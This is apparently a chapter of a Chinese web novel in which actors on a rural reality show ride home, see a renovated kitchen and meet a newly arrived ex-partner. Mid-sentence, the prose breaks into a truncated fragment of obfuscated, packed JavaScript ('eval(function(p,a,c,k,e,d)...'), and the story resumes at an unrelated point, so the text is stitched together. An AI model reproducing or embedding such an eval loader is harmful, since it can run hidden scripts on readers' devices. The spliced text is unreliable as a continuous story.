下午回西瓜地村坐的客车,高嘉璈和梅盛卖早点赚得最多,选了客车第一排的位置。 客车顺着来时路返回,雪山离得越来越远,直到变成一道银光,消失在余光中。靠近雪山的金江更加湍急,奔腾不息,翻出玉一样的颜色。 阳光刺眼,高嘉璈实在忍受不了高温,拉上窗帘。 半小时后,车上已无人再说话,发动机在耳边轰鸣,像催眠剂一样,高嘉璈眼皮很快撑不住,开始打盹,脑袋晃来晃去地,落到梅盛肩上。 梅盛滑手机的手一顿。 高嘉璈的呼吸平稳,浓密的睫毛一颤一颤,不知道梦到什么,嘴角还微微弯起。 梅盛换了只手看手机,高嘉璈靠着的肩膀一动不动,哪怕肩膀麻了、没有知觉了,他也没有动过。 他正享受着这一刻的安宁时,身后忽然冒出一只手,重重打了高嘉璈几下。 “我梅哥肩膀都被压麻了!!” 高嘉璈从梦中惊醒,睡眼朦胧地看向后面,果然是周晓文这个没有眼力见的神经病。 “你梅哥都没说什么,你说什么?”高嘉璈说。 周晓文有理有据,“我梅哥心地善良,不好意思把拒绝的话说出口。” 高嘉璈趴到座椅靠背上,看着周晓文说:“我和你梅哥昨晚都睡一个房间了,还有什么不能说的?哦,不好意思,忘了我不是第一次和你梅哥睡一个房间了。” “高嘉璈你要点脸!”周晓文怒道,还要说什么时,却见梅盛起身,从包里拿出个枕头来,递给高嘉璈。 周晓文:“看到没,我梅哥让你自己滚一边儿去睡。” 梅盛:“用这个靠我肩上,不会咯到你。” 高嘉璈朝被浇了冷水的周晓文挑挑眉,坐回座位上,接过梅盛的枕头,把枕头垫在头下,靠到梅盛肩膀上。 他故意把头靠梅盛靠得很近,用多出来的枕头把后排视线隔开。 “等我装完就起来。”高嘉璈小声说。他不知道自己一直靠在梅盛肩上睡觉,起码半个小时,梅盛没喊他,肩膀估计都要被他睡脱臼了。 梅盛说:“想睡就睡,没关系。” 高嘉璈心里一阵暖意,他悄悄问梅盛,“如果是周晓文坐你身边,你会让他靠吗?” 梅盛放下手机,嘴角动了动,偏头看向他,说:“你吃醋了。” “你答都没答我吃什么醋?” 梅盛重新拿起手机,说:“不要设想不可能发生的事情。” 高嘉璈心里小小地尖叫起来,他抿了抿嘴,正准备起身,手机震了震。 奇怪,已经和爸妈海儿都备注过了啊,这时候还能是…… 萧远:吃午饭了吗? 下面有一张图片,在别墅的大长桌上,有烤得刚好的面包、一碗精心搭配的沙拉、一块七分熟的牛排,还搭配了一杯高脚杯红酒,除此外,还有一只香奶奶的拖鞋。 高嘉璈想了想,也发了一张图片。 在掉漆的矮桌子上,有烤得刚好的红薯、一碗精心搭配的猪脚饭、一颗全熟的土豆,还搭配了一杯用剩下的纸杯装的酥油茶,除此外,还有一只从路边摊拖鞋里露出来的脚趾。 高嘉璈想象着萧远看到这张图的表情,笑得颤抖。 梅盛浅咳了一下。 高嘉璈止住笑,抹了抹眼角的泪,梅盛正似笑非笑地看着自己,他凑到梅盛耳边,问:“怎么,吃醋了?” 梅盛没说话,只是双眼不聚焦地看手机。 “不要设想不可能发生的事情。”高嘉璈把这句话完整地还给了梅盛。 后排的杨梅和蓝岚看着两人,嘴都咧到后脑勺了。 又过了一个小时,总算回到了西瓜地村,高嘉璈神清气爽地下车,装作没看见身后满脸黑线的周晓文和满脸磕到了的杨蓝二人。 和众人道别后,高嘉璈和白子慎重新回到阿云家。 门没关,阿云正在院子里挑菜,见他们回来,惊喜地笑着迎过来,“我以为你们要晚点才能到呢!” 高嘉璈愧疚地对阿云道:“抱歉,都怪我,把你灶房炸了。” “怪我们,”白子慎打岔道,“我也有错,抱歉阿云妹妹,给你造成困扰了。” 阿云笑着摆摆手,“灶房老早就该换了,我还要谢谢你们,炸了后不用我自己装修,城里来的大师帮我重新设计了灶房,重新装修好了!你们别傻站在门口,进来看。” 高嘉璈和白子慎围在灶房门口,目瞪口呆。 墙体铺上了白色无缝砖,通透又大气,被分成两个区域,里面是做饭的灶台,原来的火灶和烟囱被拆除,换成了洗菜的不锈钢水槽、切菜区域、燃气灶、电磁炉、油烟机……上面设计了的料理柜,花椒面粉小苏打应有尽有。 外面是吃饭的地方,有一张半镶嵌在墙里的白色餐桌,旁边竖着一打靠背软椅。 高白二人看看灶房……厨房,看看院子,像是潦草小狗长了一个汗血宝马的头。 阿云指着厨房里空出的一块地,说:“丰和公司还要送我家一台冰箱,还在运。整个厨房的设计、装修都是丰和公司的人,他们穿着丰和公司的衣服,没收我一分钱。你说,公司老板得是个多善良的人啊?” 高嘉璈拍了拍阿云的肩:“只有丰和公司的总裁是个善良的人。” 休息到傍晚,他们在新厨房里帮阿云做了饭,喂了猪和羊,洗了衣服,等星星升起,已经累得半死。 高嘉璈在厨房烧水洗澡后,扑到喜羊羊的床上,结束了一天的疲劳。 第二天,七点,高嘉璈自然醒来,趴在床上看了看今天的任务发布: 种豌豆: 嘉宾在各家菜地上种豌豆,需要犁地、施肥、填土等,请在七点半于村广场集合。 又回到了熟悉的味道。高嘉璈放下手机,种豌豆这种事情应该很简单吧,就是把土刨开、把种子放进去、浇点水就行了。 种完豌豆如果没别的事,他想和梅盛做一个秋千给阿云,算是弥补炸了她灶房的歉意。 正想着,阿云敲了门,“嘉璈哥哥,你起来了吗?导演组让你们七点半必须到广场。” “起来了,”高嘉璈顶着鸡窝头打开门,“你别听导演组吓唬你,难道我去晚了豌豆会跑吗?” 阿云笑了几声,摇头说:“嘉璈哥,你是不是没好好看任务发布。” 高嘉璈眨了眨眼,赶紧掏出手机。 往下一滑,还有一行字: 从今天开始,新嘉宾顾留加入《我们在农村!》。 高嘉璈反复看了很多遍,“顾留”两个字都看得不认识了,才确认自己没看错。 他呆在原地,阿云叫了他好几次才回过神来。 漱口的时候,白子慎也过来了。 “我不开玩笑,老弟,我之前磕过你和顾留的cp。” “噗”,高嘉璈把漱口水喷了出去,呛得咳了好几声,才说:“你看过我和他的剧?” 白子慎理解他的震惊,拍了拍他说:“你俩当时cp多火,路过的狗都磕过好吧。不过你到底有没有和顾留在一起过?” 高嘉璈哑住,他也不知道自己算不算和顾留在一起过。 白子慎一副我懂了的表情,“爱过,爱过是吧。” 高嘉璈打了他一下,“别胡说,哥。” “啧啧,”白子慎摇头晃脑地说,“梅总一天盯你盯得魂都飞了,这回你白月光来了,梅总怕要伤心死了。诶,悄悄告诉我,顾留和梅总,你选谁?” 高嘉璈扶额:“别说了哥,顾留不是冲我来的。” “你别管他冲谁来,反正他来了。你现在和梅总的cp小有热度,又把你之前的大热cp请来,这不节目组明晃晃搞事情吗?” 高嘉璈又怎么会不知道,但他现在更不可能退出,逃避只会生更多事端。 高嘉璈像只蜗牛一样挪到广场上的大路,一眼看见广场中心的梅盛。 他穿了一身黑,双手抱在胸前,眉头紧皱。 梅盛身边的杨梅表情更不好,有兴奋,更多的是紧张,蓝岚安慰着她,却有些心不在焉。 广场旁边支起帐篷,和高嘉璈他们第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周晓文本来应该是开心的,顾留和高嘉璈是以前的大势cp,节目组肯定要往破镜重圆去剪辑,这样就可以对梅盛乘虚而入。 但顾留的热度又居高不下,直逼自己,周晓文怕他抢热度。 所以只是客客气气地和顾留握了握手。 蓝岚早知道杨梅和顾留的关系,也知道顾留和高嘉璈的关系,觉得这人不是什么好东西,假笑了一下,握上顾留的手:“你好,蓝岚。” “你好,看过你们的舞台。”顾留笑说。 等顾留到眼前,杨梅紧张又兴奋,脸红得像个苹果,手都伸反了,慌里慌张地换了只手,说:“你好,我是杨梅。” 顾留点头,说:“顾留,幸会。” 比起杨梅的慌乱,顾留可谓是稳得无懈可击,好像真的是第一次见她一样。 终于轮到高嘉璈,陈彤连忙指挥了五六个机位去拍。 顾留眼睛一抬,满眼深情地看向高嘉璈,给高嘉璈看得鸡皮疙瘩直竖。 “好久不见,嘉璈。” 高嘉璈感觉身边的温度冷了十度。 但在镜头下,他不得不扯出个笑来:“顾老师。” 顾留居然闪起泪花,拉住高嘉璈的胳膊,一把把他抱进怀里。 白子慎、周晓文吃瓜,蓝岚挽着杨梅的胳膊,杨梅咬住下唇,脸色难看。 这个拥抱,是高嘉璈曾经演戏生涯中最可靠的港湾,可现在,他只觉得虚伪。 你女朋友在旁边,还和我演深情。 高嘉璈毫无痕迹地挣开,和他保持了一定距离,说:“欢迎顾老师加入,以后咱们都是可农了。” 话说得体面,也很生分,顾留意外地挑了挑眉,很快接住,说:“我刚来不懂,嘉璈,以后要你多多教我。” 等的就是你这句话,高嘉璈笑起来,说:“我也不会,我在综艺里,都是梅总教了我很多。” 不但把话题引到梅盛身上,还说明了自己现在在综艺过得很好,顺便带了下和梅盛的关系之好,高嘉璈默默为自己鼓掌,看那么多高情商小视频还是有用的。 顾留自然听出他的意思,但也想不出更好方法回应,只好顺着他的话,走到梅盛面前。 梅盛比他高出半个头,眼神往下,像看狗一样看着他。 顾留不太舒服,但也不敢说什么,伸出手,“梅总您好,我是顾留。” 所有人都在等待梅盛的反应。